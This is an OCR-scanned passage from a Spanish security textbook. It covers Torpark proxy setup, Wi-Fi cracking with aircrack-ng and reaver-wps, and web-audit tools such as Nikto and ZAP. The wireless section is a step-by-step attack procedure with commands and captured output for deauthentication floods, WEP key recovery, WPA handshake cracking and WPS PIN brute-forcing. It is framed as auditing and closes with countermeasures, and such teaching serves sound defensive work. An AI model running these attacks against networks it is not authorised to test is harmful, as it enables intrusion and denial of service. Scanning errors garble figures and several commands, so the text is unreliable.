Mastertindz clngfim pasadena, Aok iper || Direccidn 1P: 21818921047
morticah clingflim INTCMME Rentalsponge  Aberto | | Plataforma: Tor 0.1,1.25 on Linux 896

nafilm Averto 171618/

Tiempo Sostenido: 16 days & hours 40 mins 34 secs
Oitima Actualizacidn: 2007-09-20 18:14:15 GMT

BENEENNENABE
£
&

Figura 4.28. Torpark - NetworkMap

4.6.2 Utilizacion

Para utilizar el servidor proxy abra Internet Explorer, seleccione Opciones
de Internet en el menu Herramientas, pulse la pestaila Conexiones, Configuracion
LAN. En la ventana de configuracion (véase la figura 4.29) habilite el servidor
proxy e indique su direccion y puerto que en el caso de Torpark es: direccion
127.0.0.1 y puerto 8118.
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"
Configuracion de la red de drea local (LAN) [

Configuracién automatica

La configuracién automatica puede invalidar a la manual. Para evitar
que esto ocurra, deshabilite la configuracién automética.

Detectar la configuracion automaticamente
[Tusar scripts de configuracion automatica

Servidor proxy

Usar un servidor proxy para la LAN (esta configuracion no se
aplicara a conexiones de acceso telefdnico ni VPN).

Drecdén:  127.0.0.1 Puerto: 811g]

[ Ng usar servidor proxy para direcciones locales

[Aoeptar][Cancelar]

Figura 4.29. Internet Explorer - Configuracion del proxy

4.6.3 Comprobacién

Para comprobar que realmente esta navegando de forma anénima puede
buscar en Internet alguna web que nos facilite nuestra direccion IP (por ejemplo,
www.cualesmiip.com, www.adsl4ever.com/ip). Como puede ver en la figura 4.30 la
pagina web piensa que utilizo la direccion IP 194.187.213.89. Si consultamos el
propietario de la direccion [P en algun servidor Whois (por ejemplo,
http://cqcounter.com/whois/), se comprueba que la direccion IP es de Finlandia
(véase la figura 4.31).
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- ADSL 4 EVER - COM W
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Figura 4.30. www.adsl4ever.com/IP

Yo 6 (Ewhos- adress-comneme ook

1P Address / Domain Name Lookup -

0 Countr Basi Eston
pis

Enter a Domain Name or 1P address:
HOSTALIFR whois |
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dedicamos

13 @ et Rioow -

Figura 4.31. http://cqcounter.com/whois/

4.7 ROMPIENDO REDES INALAMBRICAS

El acceso sin necesidad de cables es la razon por la que son tan populares
las redes inaldmbricas, pero esto es a la vez el problema mas grande de este tipo de
redes en cuanto a la seguridad se refiere. Cualquier equipo que se encuentre cerca
del punto de acceso podra tener acceso a la red inaldmbrica.

07
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Para poder considerar una red inaldmbrica como segura deberia cumplir los
siguientes requisitos:

e Las ondas de radio deben confinarse tanto como sea posible.

e Debe existir algin mecanismo de autenticacion en doble via que permita
al cliente conectarse realmente a su punto de acceso, y que permita
verificar que al punto de acceso solo se conectan los clientes legitimos.

e Los datos deben viajar cifrados para impedir que sean capturados por
otro equipo.

Existen muchos programas que nos permite romper la seguridad de una red
inalambrica. Sin duda alguna el mas importante es aircrack-ng en su version de
Linux (aunque también existe su homologa en Windows) y Cain de Windows. En
la figura 4.32 puede ver una captura de pantalla del programa Cain.
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Figura 4.32. Cain

A continuacion se va a utilizar aircrack-ng en Linux por ser la mejor forma
de romper las redes inalambricas.

Aircrarck-ng (www.aircrack-ng.org) es una coleccion de herramientas que
permiten auditar y atacar redes inaldmbricas. Las herramientas que incluye
aircrack son las que vemos a continuacion.
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e airmon-ng. Permite poner la tarjeta inaldmbrica en modo monitor

(sniffer).

e airodump-ng. Guarda los paquetes de la interface WLAN para
procesarlos mas tarde con aircrack-ng.

e aircrack-ng. Permite romper el protocolo WEP y WPA/PSK para
conseguir la clave de encriptacion.

e aireplay-ng. Permite inyectar paquetes ARP-request en una red
inalambrica para generar trafico y que sea mas facil romper la clave con
aircrack-ng.

e airdecap-ng. Desencripta ficheros pcap encriptados con WEP/WPA.

aircrack esta disponible en muchas distribuciones LiveCD (por ejemplo,
Back-Track 3 http://www.remote-exploit.org/index.php/BackTrack).

Para instalar aircrack-ng sigua los siguientes pasos:

e Descargue el fichero aircrack-ng-0.4.2.tar.gz de la pagina oficial de
aircrack.

e Descomprima el fichero utilizando tar xvfz aircrack-ng-0.4.2.tar.gz.
e cd aircrack-ng-0.4.2.
° make.

®  make install.

4.7.1 Deteccion de redes inalambricas

Para detectar las redes inalambricas que hay en la zona hay que poner el
adaptador de la red inalambrica en modo monitor (igual que el modo promiscuo de
una tarjeta de red) ejecutando el comando:

# airmon-ng start wlan0
Ahora escanee las redes disponibles ejecutando el comando:

# airodump-ng -w datos wlan0
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Donde wlan0 es la interfaz de red inalambrica y —w datos indica que
guarde la salida en el fichero datos. En la figura 4.33 puede ver un ejemplo de su
ejecucion.

CH 11 ][ 2006-04-23 19:38

BSSID PWR Beacons # Data CH MB ENC  ESSID
00:0F:B5:94:85:17 -1 1096 164 11 48 WEP  NETGEAR
BSSID STATION PWR Packets Probes

00:0F:B5:94:85:17 00:11:22:33:44:55 -1 23661

+ 29
00:15:00:24:FD:85 -1 90 NETGEAR

Figura 4.33. Detectar redes con airodump-ng

4.7.2 Ataques a redes abiertas

Si la red no utiliza encriptacion, entonces es totalmente vulnerable ante
posibles ataques ya que un atacante puede conectarse a la red, realizar ataques de
denegacion de servicio, etc.

Los ataques DoS (Deny of Service) permiten desautenticar a los clientes de
una red para dejar inutilizada la red, falsear la identidad de un equipo, o
simplemente forzar a que un cliente vuelva a autenticarse. La practica mas comun
es forzar a que un cliente vuelva a autenticarse y de esa forma proporcionar
informacion util para poder realizar un ataque WEP o WPA.

A continuacion se van a realizar dos ejemplos sencillos de ataques de
denegacion de servicio: desautenticacion broadcast y desautenticacion de un cliente
determinado.

Para realizar un ataque de desautenticacion de todos los clientes de una red
debe ejecutar el siguiente comando:

# aireplay-ng -0 10 -a MAC_AP wlan0

donde —a MAC AP especifica la direccion mac del punto de acceso que quiere
atacar y wlan() es nuestra interfaz de red.

Para desautenticar un solo cliente ejecute el comando:
# aireplay-ng -0 10 -a MAC AP -c MAC CLI wlan0

donde —c¢ MAC CLI especifica la direccion del cliente que quiere desautenticar.
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4.7.3 Ataques WEP

Como se ha visto en el Capitulo 2. El estandar Wifi el protocolo WEP esta
basado en algoritmo RC4 con una clave secreta de 40 o 104 bits, combinado con un
vector de inicializacion (IV) de 24 bits. WEP no fue creado por expertos
criptograficos y, desde practicamente su aparicion, han ido apareciendo numerosas
vulnerabilidades ante los problemas que presenta el algoritmo RC4, ya que utiliza:
debilidades de no validacion y ataques IV conocidos.

Ambos ataques se basan en el hecho de que para ciertos valores de la clave
es posible de que los bytes iniciales del flujo de la clave dependan de tan solo unos
pocos bits de la clave de encriptacion. Como la clave de encriptacion esta
compuesta por la clave secreta y los IV, ciertos valores de IV muestran claves
débiles.

Por lo tanto, si consigue suficientes IV débiles podréa obtener la clave WEP.
Para obtener una clave WEP de 64 bits se necesitan unos 250.000 IVs y para una
clave de 128 bits unos 800.000 IVs.
Paso 1.Poner la tarjeta de red en modo monitor

Paso 2. Guardar los paquetes IVs de un AP

Paso 3. Inyectar trafico en la red
un cliente

Figura 4.34. Esquema general para romper el protocolo WEP
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Los pasos que hay que realizar para obtener una clave WEP y que se
muestran en la figura 4.34 son los siguientes:

e Paso 1: El primer paso que debe realizar es poner la tarjeta de red en
modo monitor:

# airmon-ng start wlan0

e Paso 2: Ejecute airodump-ng para que guarde los paquetes IV
(necesarios para realizar el ataque):

# airodump-ng -w datos wlan0

donde —w datos indica el nombre del fichero donde se van a guardar los
datos.

CH 36 ][ 2006-04-23 19:12

BSSID PWR Beacons # Data CH MB ENC  ESSID
00:0F:B5:94:85:17 -1 31 259 11 48 WEP  NETGEAR
BSSID STATION PWR Packets Probes

00:0F:B5:94:85:17 00:0E:2E:5C:85:45 -1 259
(not associated) 00:15:00:24:FD:85 -1 51 NETGEAR,WebSTAR,casa,ap_al

Figura 4.35. Detectar redes WEP con airodump

Tal y como puede ver en la figura 4.36, el punto de acceso que se quiere
atacar (NETGEAR) trabaja en el canal (CH) 11. Para mejorar el ataque puede
utilizar el parametro —c /1 para que se registre unicamente los datos del AP.

# airodump-ng --ivs -w datos-c 11 wlan0

e Paso 3: Ahora solo falta acelerar el proceso de captura de IV, mediante
el inyectado de trafico desde el equipo del atacante. Para ello utilizaré el
cliente autenticado y asociado en el paso siguiente. Dejamos que capture
un paquete ARP-request, para luego reinyectarlo en la red para que
aumente drasticamente el numero de paquetes IVs.

# aireplay-ng -3 -b MAC AP -h MAC FALSO CLIENTE -x 600 wlan

donde -3 indica el tipo de ataque, y —x 600 permite indicar la velocidad
con la que reinyecta paquetes.
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[root@localhost ~]# aireplay-ng -3 -b 00:0f:b5:94:85:17 -h 00:11:22:33:44:55 -x
600 wlan0

Saving ARP requests in replay_arp-0423-192306.cap

You should also start airodump-ng to capture replies.

Read 35454 packets (got 1 ARP requests), sent 10778 packets. ..

Figura 4.36. Inyectando paquetes con aireplay-ng

Paso 4: Para poder inyectar paquetes va a autenticarse y asociarse con
un cliente ficticio de la red.

# aireplay-ng -1 10 -e NETGEAR -a MAC AP -h

MAC_FALSO_CLIENTE wlan0

donde -/ /0 indica que va a enviar 10 paquetes de autenticacion, -a
MAC AP indica la direccion mac del punto de acceso, y -4
MAC FALSO CLIENTE indica una direccion mac falsa.

Ultimo paso: Ahora ya puede ejecutar en otra consola aircrack-ng para
que vaya analizando los paquetes IVs obtenidos por airdump-ng y
almacenados en el fichero datos-01.ivs.

# aircrack-ng -0 datos-0l.ivs

El proceso puede durar unos 10 minutos para contrasefia WEP de 64 bits
y unos 20 minutos para contrasefias WEP de 128 bits. Si quiere acelerar
el proceso puede indicar la longitud de la contrasefia WEP de la
siguiente forma:

# aircrack-ng -0 -n 64 datos-0l.ivs

donde —n 64 indica la longitud de la contrasefia WEP.

[00:00:05] Tested 262145 keys (got 12941 IVs)

Figura 4.37. Rompiendo la contraseiia WEP
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Cuando finaliza aircrack-ng nos muestra en pantalla la contrasefia WEP
(véanse las figuras 4.32 y 4.33).

[00:00:59] Tested 2564934 keys (got 407790 IVs)

D7
64
DB

(ASCII: .4Q#E )

Figura 4.38. Clave WEP

4.7.4 Ataques WPA/PSK

El protocolo WPA/PSK se basa en una autenticacion por contrasefia del
cliente al punto de acceso. La informacion es cifrada con el algoritmo RC4 con una
clave compartida de 128 bits y un vector de inicializacion de 48 bits.

Para obtener la contrasefia WPA inicamente necesita un unico paquete que
contenga la autenticacion del cliente al punto de acceso (handshake). Una vez
obtenido el handshake se realiza de forma local un ataque de fuerza bruta para
obtener la contrasefia. Por lo tanto, la robustez de WPA reside en la complejidad de
la contrasefia.

Los pasos que hay que realizar para obtener la clave WPA/PSK de un punto
de acceso son los siguientes:

e Paso 1: El primer paso es poner el adaptador de red en modo monitor:
# airmon-ng start wlan0

e Paso 2: A continuacion, detecte con airodump-ng los puntos de acceso
WPA disponibles en la zona.
# airodump-ng -w datos wlan0

donde —w datos indica el nombre del fichero donde se van a guardar los
datos.
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CH 161 ][ 2006-04-23 20:49
BSSID PWR Beacons # Data CH MB ENC ESSID
00:0F:

00:11:
00:11:

-1 10 1 11 48 WPA  NETGEAR
-1 0 0 -1 -1
-1 0 0 -1 -1

BSSID STATION PWR Packets Probes

00:0F:B5:94:85:17 00:0E:2E:5C:85:45 -1 16
00:11:95:C2:8A:05 00:15:00:24:FD:85 -1 167 WebSTAR,az,casa,ap_almeria

Figura 4.39. Detectando redes WPA

Paso 3: Tal y como puede ver en la figura 4.39, el punto de acceso que
quiere atacar (NETGEAR) trabaja en el canal 11. Para mejorar el ataque
puede indicarle a airodump-ng con el pardmetro —c /I que registre
unicamente los datos del AP.

# airodump-ng —w salida —c 11 wlan(

Paso 4: Como puede ver en la figura 4.39 hay dos clientes conectados al
punto de acceso a atacar. Para obtener el handshake debe desautenticar
un cliente para forzarlo a volver a conectarse al punto de acceso y asi
capturar la trama que nos interesa.

# aireplay-ng -0 4 -a MAC AP -c MAC CLI wlan0

-0 4 indica que se enviaran 4 tramas de desautenticacion, -a MAC_AP
indica el punto de acceso, -c MAC CLI indica el cliente y wlan( la
interfaz de la red inalambrica.

[root@localhost ~]# aireplay-ng -0 4 -a 00:0F:B5:94:85:17 -c 00:15:00:24:FD:85 w
1an0
20:55:12 Sending DeAuth to station -- STMAC: [00:15:00:24:FD:85]

H o E station -- STMAC: [00:15:0( L
station -- STMAC: [00:15 y
station -- STMAC: [00:15:00:24:FD:85]

[root@localhost ~]#

Figura 4.40. Desautenticando un cliente

Ultimo paso: Para obtener la clave WPA/PSK debe realizar un ataque de
fuerza bruta utilizando el siguiente comando:

# aircrack-ng -a 2 -w diccionario.txt salida-0l.cap
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el parametro —a 2 indica el tipo de ataque, -w diccionario.txt indica el
diccionario que quiere utilizar para realizar el ataque, y salida-01.cap es
el fichero que contiene el handshake capturado.

Para este tipo de ataque es muy importante tener un buen diccionario. Para

eso puede crearlo o descargarlo de Internet (por ejemplo, http://wordlist.
sourceforge.net/).

4.7.5 Ataques a redes con claves por defecto

La mayoria de las redes inalambricas actuales disponene de una clave que
el operador configura. Si el usuario no ha cambiado la clave de la red que tiene por
defecto hay aplicaciones en internet que permiten de manera sencilla identificar los
SSIDs vulnerables obteniendo de manera instantanea la clave de la red wireless.

Uno de estos programas es Wifiauditor (http.//www.wifiauditor.net/). Se
trata de una herramienta realizada en Java que contiene varios de los algoritmos

utilizados por los operadores de red y que permite obtener la clave en texto claro de
estas redes.

A continuacion se muestra un ejemplo del uso de esta herramienta:

) WIFT Auditor B

Archivo Redes Manual Ayuda

Redes disponibles: 12

Contrasefia | Conectar |

L 6EBT |
et_4G_BAAT | =
WLAN_41EA

WLAN_D76F
ORANGE-2381AA _ o
RDRI [ e

| Conectar automaticamente | Auditar redes Conectar ‘

Figura 4.41. WIFI Auditor

4.7.5.1 ATAQUES A REDES CON WPS

Actualmente, algunas compafiias instalan routers que tienen la
caracteristica de disponer de un boton que al presionarlo se asocia y se conecta con

los dispositivos que han solicitado conectarse de manera automatica sin necesidad
de conocer la contrasefia.
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Estos puntos de acceso presentan un fallo provocado por uno de los
métodos de asociacion, mas concretamente en el PIN con €l se puede acceder al
punto de acceso, el PIN esta formado por 8 digitos, cuando los 4 primeros digitos
de la clave son incorrectos (sin necesidad de escribir los 4 digitos restantes) el
router envia un mensaje EAP-NACK, con lo que el numero de combinaciones
posibles se reduce a unos 20.000, e incluso a 11.000 contando con que el ultimo
digito es un checksum.

Al no contar con ninguna restriccion de intentos al enviar la clave se puede
recurrir a un método de ataque de fuerza bruta, probando las 11.000 combinaciones
posibles con el software, pueden tener acceso a tu red inaldmbrica en menos de dos
horas.

Para poder obtener la clave de la red Wifi utilizando este método puede
utilizar el programa reaver-wps (http://code.google.com/p/reaver-wps/). En la web
oficial pueden descargar una guia detallada de coémo utilizarlo.
http://sviehb. files.wordpress.com/2011/12/viehboeck wps.pdf

En la figura 4.42 puede ver el programa reaver-wps obteniendo el PIN de
un punto de acceso.

g pin 67365722
g pin 67364633

complet seconds/attempt

OO WW

seconds/attempt

N

N 67368402
N 67360109

n 67360109

3 seconds
pin 6
pin
pin
g pin
g pin
seconds/attempt

Figura 4.42. reaver-wps
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La soluciéon para corregir el problema de seguridad es desactivar la
funcionalidad WPS.

4.7.6 Airoscript

Airoscript  (http://airoscript.aircrack-ng.org/) es un shell script de
GNU/Linux diseflado para interactuar con aircrack y permite romper las
contraseflas WEP'y WAP de una forma muy facil.

La utilizacion de Airoscript es muy sencilla. Tan solo debe ejecutar en una
consola el comando Airoscript y aparecera el ment de la figura 4.43. Para romper
una red inalambrica tan solo debe realizar los siguientes pasos:

e Pulse 1 para escanear las redes inalambricas de la zona.

e Pulse 2 para seleccionar la red inalambrica que desea atacar y si lo
desea, puede seleccionar un cliente que est¢é conectado a la red.
Seleccionar un cliente que se encuentre autenticado en la red es muy util
en el caso de que la red utilice filtrado de direcciones MAC.

e Pulse 3 para iniciar el ataque a la red inalambrica.

e Y, finalmente, pulse 4 para que Aircrack utilice los datos obtenidos en el
paso anterior para obtener la contrasefia de la red atacada.

ontar abjetivos
jetivo: Host y Cliente

]
10

Vo 3
5)6 8 £ 10

Figura 4.43. Airoscript
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4.7.7 Contramedidas

Un aspecto muy importante para asegurar una red inalambrica es limitar
sus servicios. No es logico que un equipo que se encuentra desde una red
inalambrica tenga los mismos permisos que el que se encuentra en la red cableada.

Para asegurar la red, una medida primordial es separar la red inalambrica
de la cableada estableciendo diferentes permisos. Por ejemplo, puede configurar el
cortafuegos para que desde la red inaldmbrica solo tenga acceso a paginas web.

Otra medida de seguridad es utilizar cifrado seguro como es el caso de
WPA?2 y utilizar un servidor de autenticacion radius que permite que cada usuario
disponga de una contrasefia diferente para acceder a la red inalambrica; y no que
todos tengan la misma.






Capitulo 5

HACKING DE SERVIDORES WEB

5.1 INTRODUCCION

Qué duda cabe hoy en dia de la importancia de Internet en muchos ambitos
de la vida, y especialmente a nivel comercial. Muchas empresas nacen y florecen
alrededor de Internet y se comunican a través de sus paginas web.

(Son los servidores web seguros? Pues bien, por desgracia lo son mucho
menos de lo esperado y deseado por todos. En este capitulo vera hasta que punto y
de qué forma pueden obtenerse, cambiarse o incluso hacerse desaparecer
contenidos web y datos sensibles de empresas e incluso en sitios gubernamentales.

(Quiénes son los responsables? Los responsables son los desarrolladores y
administradores web que en algunos casos se empefian en mantenerse ajenos a una
realidad en la que hackers, lammers y script kiddies (términos muy diferentes)
andan a sus anchas, gracias a la falta de profesionalidad e interés de algunos
programadores y webmasters.

Puede que se esté preguntado ;hasta qué punto un buen disefio de red
podria mitigar los efectos de un ataque? Puede afirmarse que hasta el sistema mejor
disefiado y mas caro, en cuanto a la infraestructura de red y medios de defensa
puede verse totalmente comprometido por un fallo de seguridad en la
programacion de una web.
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Es muy importante tener el software completamente actualizado y auditado
para evitar las posibles explotaciones de los bug que pueden tener. Esto debera
hacerse partiendo de los sistemas operativos que soportan nuestro software, y hasta
esas mismas aplicaciones web finales pasado por todos los puntos intermedios en la
arquitectura software que puede encontrar en cualquier implementacion de
aplicaciones, como por ejemplo servidores web (Apache, 1IS) o gestores de bases
de datos como Mysql, Oracle, SQL Server, etc.

Se trataran diversos vectores de ataque conocidos como el XSS (Cross Site
Scripting), RF1 (Remote File Includer), LF1 (Local File Includer), autenticacion
web (mediante scripts o bypass), SQL y Blind SQL inyection. Se vera como y por
qué se producen, asi como la forma de explotarlos para sacar partido de ellos. Por
supuesto el objetivo no es este, sino buscar las contramedidas necesarias para
mitigar los ataques, y poder asi asegurar sitios web.

5.2 BUSQUEDA DE VULNERABILIDADES

5.2.1 Nikto
5.2.1.1 INTRODUCCION

Nikto es un escaner de vulnerabilidades de servidores web bajo licencia
GPL que permite obtener un informe detallado sobre un sitio web para poder evitar
posibles ataques.

Una de las ventajas de Nikto es la posibilidad de actualizarlo
periodicamente. Con esto aumentamos la cantidad de ataques mds comunes a un
sitio web.

Las categorias de fallos que localiza Nikto son las siguientes:

e Problemas de configuracién. Busca fallos en la configuracion del
servidor

e Archivos y scripts por defecto. Detecta problemas en los programas
que los servidores implementan por defecto.

e Archivos y scripts inseguros. Analiza el servidor web en busca de
funcionalidades inseguras.
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e Versiones desactualizadas de software. Permite detectar problemas y
nos alerta de si alguna actualizacion del sistema debe ser instalada para
evitar dejar abiertos nuevos agujeros.

Nikto es capaz de trabajar sobre 3200 archivos/CGIs potencialmente
peligrosos, 625 versiones de servidores, y 230 problemas especificos de estos. Los
CGI (Common Gateway Interface) son programas o scripts que permiten dar
dinamismo a las aplicaciones web. Esta es la razon por la cual existen agujeros de
seguridad ya sea por un codigo mal implementado, instalaciones realizadas de
forma predeterminada o por versiones posteriores en nuestros programas entre
otros.

5.2.1.2 UTILIZACION

La utilizacion de Nikto es muy sencilla. Tan solo hay que tener instalado un
intérprete de perl en el sistema que entienda las 6rdenes que se realicen.

Para empezar a utilizar la aplicacion se teclea:
nikto [-h destino] [opciones]

donde —h indica el destino del escaneo y las opciones de ejecucion de Nikto En la
tabla 5.1 puede ver los diferentes parametros de ejecucion de Nikzo.

Tabla 5.1. Parametros de nikto
Parametro  Descripcion

-Cgidirs Permite indicar qué directorios de CGI se van a escanear, por ejemplo,
‘none’ indica que ninguno, ‘all’ todos, y un valor concreto como /cgi/
indica que solo se escaneard dicho directorio.

-evasion Permite activar la evasion de deteccion de intrusos de acuerdo a varias
opciones extra, como son por ejemplo, la finalizaciéon prematura de las
URL, tabulador como el espacio requerido en vez del espacio normal, etc.

-findonly Utiliza el escaneo de puertos para encontrar puertos validos de Attp o https,
pero no hace ninguna comprobacién contra ellos.

-format Esta opcion se usa conjuntamente con la opcion output, y lo que hace es
establecer el formato del archivo de salida. Los formatos disponibles son
HTML, TXT o CSV

-host Establece el host o los hosts a los que se les realizan el escaneo. Se pueden
utilizar nombres, ficheros o de direcciones IP.
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-id Utiliza de autenticacion htfp para autorizar a Nikto en un servidor. El
formato es userid:password

-output Genera el informe en el formato que la opcioén —format indique. Si no esta
especificado el formato se genera un fichero #xz.

-port Permite establecer el puerto que quiere escuchar. Si no se especifica
ninguno se utiliza el puerto 80. También puede suministrar una listado de
puertos.

-ssl Fuerza a que el modo sea SSL en los puertos que listamos.

-timeout Permite asignar un tiempo de espera personalizado que por defecto es 10
segundos.

-useproxy  Utiliza la configuracion del proxy que aparezca en el fichero config.txt para
realizar el escaneo.

-dbcheck Esta opcion chequeara la sintaxis de las comprobaciones que se alojan en el
fichero scan_database.db, lo cual es muy recomendable y util cuando dichas
comprobaciones han sido hechas a mano por el usuario, con la consiguiente
personalizacién que conlleva.

-debug Esta opcioén proporciona informacion detallada durante el escaneo. La
informacion suministrada en ocasiones es demasiada y es mas recomendable
probar con la opcion —verbose.

-update Esta opcion se utiliza cuando necesite actualizar la base de datos. Nikto se
conecta con Cirt.net y descarga el fichero actualizado de scan_database.db y
los plugins nuevos que hayan aparecido.

-verbose Muestra en pantalla las acciones que realiza Nikto.

5.2.1.3 EJEMPLO

A continuacién se muestran algunos ejemplos para comprender mejor el
funcionamiento de Nikto:

e Escaneo basico al servidor del /ost local:
nikto.pl -h 127.0.0.1

e Un escaneo basico de un servidor web en el puerto 443, con encriptacion
SSL que ignora la cabecera del servidor. Nikto no asume que el puerto
443 es SSL, pero si http falla, la aplicacion intentara hacerlo mediante
HTTPS:

nikto.pl -h 10.100.100.10 -p 443 -s
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e Escaneo multiple de puertos en el servidor permitiendo a Nikto
determinar si estamos ante encriptacion HTTP y SSL:

nikto.pl -h 10.100.100.10 -p 80-90

5.2.2 Httpanalizer

Httpanalizer es un programa que permite actuar como proxy entre el
cliente y el servidor para analizar en tiempo real las peticiones y respuestas que se
realizan sobre una web. También permite construir paquetes que proporcionan
multitud de métodos de intrusion en web, tales como SQL injection en los casos en
que los textbox estan filtrados y se han tomado otras medidas de seguridad.

Figura 5.1. Httpanalizer

En la figura 5.1 puede ver que httpaanalizer consta de los siguientes
apartados:

1. En estos botones se activa, para y pausa el modo escucha del analizador. Se
irdn escuchando y procesando todos los paquetes enviados y recibidos a la
web auditada.

2. El icono “builder” activa el constructor de paquetes que permite construir
cabeceras “apropiadas” y modificadas para cada tipo de ataque, pudiendo
elegir el método GET o POST, asi como otros parametros que hardn mas
fiable el ataque. Hara posible el envio de inyecciones SQL cuando todo
esta filtrado. También puede realizar Attp spoofing, cuando los scripts que
detectan la IP de conexion no estén debidamente programados.
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© Request Builder 8=l

You can clone a prior request by dragaing and dropping a session from HTTP session grid.
HTTELY v

| [rtpy
[FAuoRediect  [7]Aulo Hondle Cookies

Fquest Headers:

Request Body:

Figura 5.2. Httpanalizer - Request Builder

3. En este punto se despliega la ventana que ofrece de forma rapida varios
sistemas de codificacion y decodificacion muy utiles para los analisis web.

Text Encode,/Decode Dialog
Input Test:

0

@ URLDecode (List
© URLDecode fsting)
O URLEncode

© BasebiDecode

O BaseBiEncode

© BirHexDecode

O BirHesEncode

O HTMLDecode

O HTMLEncade

Dutput Text:

Figura 5.3. Httpanalizer — Decode Dialog

5.2.3 Archilles

Archilles es un programa similar a Httpanalizer. Su diferencia radica en
que hace de proxy intermedio interactuando con el navegador. Tanto es asi, que el
navegador se configure para que salga por proxy sobre el puerto 5000 por defecto
que usa Archilles o cambiar este en la configuracion para poner el que se desee.
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Sows: Gt

Figura 5.4. Archilles

En la figura 5.4 puede ver que Archilles consta de los siguientes apartados:
1. Permite iniciar y parar el proxy.

2. Puerto de escucha de Archilles y que debe configurarse en el navegador de
Internet que usemos.

3. Son las diferentes opciones de filtrado que puede ajustar para conseguir un
analisis mas o menos detallado.

4. El boton Send, se pulsa para enviar informacion a la web que se esta
auditando tras los cambos que se hayan podido realizar o no en los
paquetes Attp que se intercambian el navegador y la web.

5. En la ventana principal aparecen todos los paquetes Atfp que intercambia el
navegador y el servidor web.

5.2.4 Zed Attack Proxy (ZAP)

ZAP (Zed Attack Proxy) es un proyecto opensource que permite actuar
como un proxy intermedio que se posiciona entre el navegador y el servidor Web.
De esta forma, puede ver y manipular todo el trafico que se genera en la
comunicacion del navegador con el servidor web. Es una herramienta que facilita
el proceso para encontrar vulnerabilidades en aplicaciones web.
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ZAP cuenta con una estupenda suite de herramientas integradas que
facilitaran el analisis de seguridad de una aplicacion web. Se trata de un proyecto
en constante evolucion de la comunidad OWASP, por lo que las mejoras y
reparacion de bugs es constante.

Algunas de las funcionalidades més importantes de ZAP son:

e Proxy Interceptor.

e Crawler normal, fuerza bruta y AJAX.

e Escéaner automatico.

e Escéner pasivo.

e Fuzzer.

e Certificados SSL dindmicos.

e Soporte de tarjetas inteligentes y certificados digitales de cliente.
e Web Socket.

e Funcional con una gran cantidad de lenguajes de scripting.
e Plug-n-Hack.

e SesiOn y auteticacion.

e REST APL

ZAP dispone de una gran cantidad de complementos (addons) vy
herramientas auxiliares instaladas que facilitan en gran medida la tarea de anélisis,
explotacion y reporte del analista.

Se trata de una completa herramienta gratuita que estd a la altura de otras
herramientas con versiones totalmente funcionales de pago como Burp proxy Pro,
siendo no obstante una excelente herramienta.

En el siguiente enlace puede descargar el software y su documentacion
https://'www.owasp.org/index.php/OWASP Zed Attack Proxy Project.
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Figura 5.5. ZAP - Inicio

5.2.4.1 CONFIGURACION

Para que ZAP actiie como intermediario en las comunicaciones entre el
cliente y el servidor hay que realizar los siguientes dos pasos:

1. Establecer el puerto e interfaz por la que trabajara nuestra aplicacion.

Para ver o cambiar la configuracion del proxy local de ZAP, acceda al
menu Herramientas 'y luego Opciones.

Archivo Editar Ver Analizar Informes [ IEaE Online Ayuda
l Modo estandar ) | ] L2 & # o Fittro... b

o Sitios | Scripts Buscar en la API Ré|

Codificar/Descodificar/Hash...
@ sitios Editor manual de peticiones...
Run the Garbage Collector

Enviar de forma manual el mensaje WebSocket

Figura 5.6. ZAP - Herramientas

En la parte izquierda inferior del listado de opciones seleccione Proxy
Local y como puede ver en la figura 5.7, indique la direccion IP del equipo
y el puerto que se va a utilizar para el proxy.
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Figura 5.7. ZAP - Proxy Local

2. Establecer en nuestro navegador la configuracion del proxy:

Ahora en el navegador web debe indicar que quiere utilizar un servidor proxy.
Para ello, en el menu Opciones pulse Avanzado y luego en la pestafia Red
(véase la figura 5.8). Tal y como puede ver en la figura 5.9 debe indicar la
direccion IP y el puerto en el que trabaja el proxy. En nuestro ejemplo la
direccion IP es 127.0.0.1 (el propio equipo) y el puerto es el 8080.
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===
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Figura 5.8. Firefox - Configuracion
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Figura 5.9. Firefox - Configuracion del proxy

Ahora ya puede acceder a Internet utilizando ZAP como proxy. En las
comunicaciones seguras (https) el navegador le solicita que confirme las
conexiones ya que ZAP genera un certificado Attps que debe verificar.

5.2.4.2 UTILIZACION

Una vez establecido ZAP como proxy todo el trafico que hay entre el cliente y
el servidor queda registrado para su analisis o modificacion.
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Figura 5.10. ZAP - Comunicacion
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Aunque ZAP permite muchas funcionalidades, se van a ver las mas
importantes:

1. No solo permite registrar el trafico de comunicacion con el servidor, sino
que también es posible establecer puntos paradas en el proceso de
comunicacion para inspeccionar o cambiar cualquier valor. Este es un
proceso basico en cualquier andlisis de seguridad a aplicaciones web, ya

que debe analizarse y entenderse el

proceso de comunicacion,

inspeccionando los posibles puntos de entrada, cookies o datos reflejados
con informacion sensible en las respuestas del servidor.

En la figura 5.11 puede ver como pulsando con el boton derecho del raton
sobre el recurso deseado, se despliega un menu de opciones, y en este
menu seleccionare Parada para establecer un punto de interrupcion para
cuando se solicite el recurso.
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Figura 5.11. ZAP - Parada

En la ventana que aparece (véase la figura 5.12), pulse sobre Guardar. Es
importante sefialar que puede utilizar el simbolo * para establecer un punto
de parada en todas las peticiones sea cual sea el recurso (por ejemplo,
http://www.dominio.com/*).
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A e e e SRl ™ >

Location:  |URL v
Match: | Contiene B]
String: http:/imasteracsi.ual.es/masinformacion.php
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| cancelar || Guardar |

Figura 5.12. ZAP - Afiadir punto de interrupcion

En la figura 5.13, puede ver como se establece una parada y la pagina no
carga ya que ZAP se ha activado la pestaila Punto de interrupcion.
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Figura 5.13. ZAP - Pestaiia punto de interrupcion

Con los botones del ment podemos cambiar los datos o indicar que se
transmitan.
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Figura 5.14. ZAP - Comunicacion

En la figura 5.15 puede ver un ejemplo de la respuesta que recibe el
navegador del servidor y en el navegador web se puede ver que la pagina
se ha cargado correctamente.
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2. ZAP realiza gran parte del trabajo autométicamente. El escaner pasivo
analiza los formularios y respuestas recibidas en codigo y cabeceras en
busca de posibles patrones coincidentes con vulnerabilidades conocidas.
ZAP lo refleja y aporta informaciéon y evidencia de la posible
vulnerabilidad detectada. Si pulsa sobre la alerta puede ver mas

informacion.
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Figura 5.16. ZAP - Busquedas de vulnerabilidades
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Figura 5.17. ZAP - Alerta
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3. El escaner automatico realiza pruebas especificas sobre una o varias URL
seleccionadas. ZAP detecta de forma automatica los posibles pardmetros
para su inyeccion.
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Figura 5.18. ZAP - Escaner automatico

5.2.4.3 OWASP

OWASP (Open Web Application Security Project) es la comunidad que ha
desarollado ZAP y por las aportaciones que realiza en la seguridad es importante

destacar su trabajo.

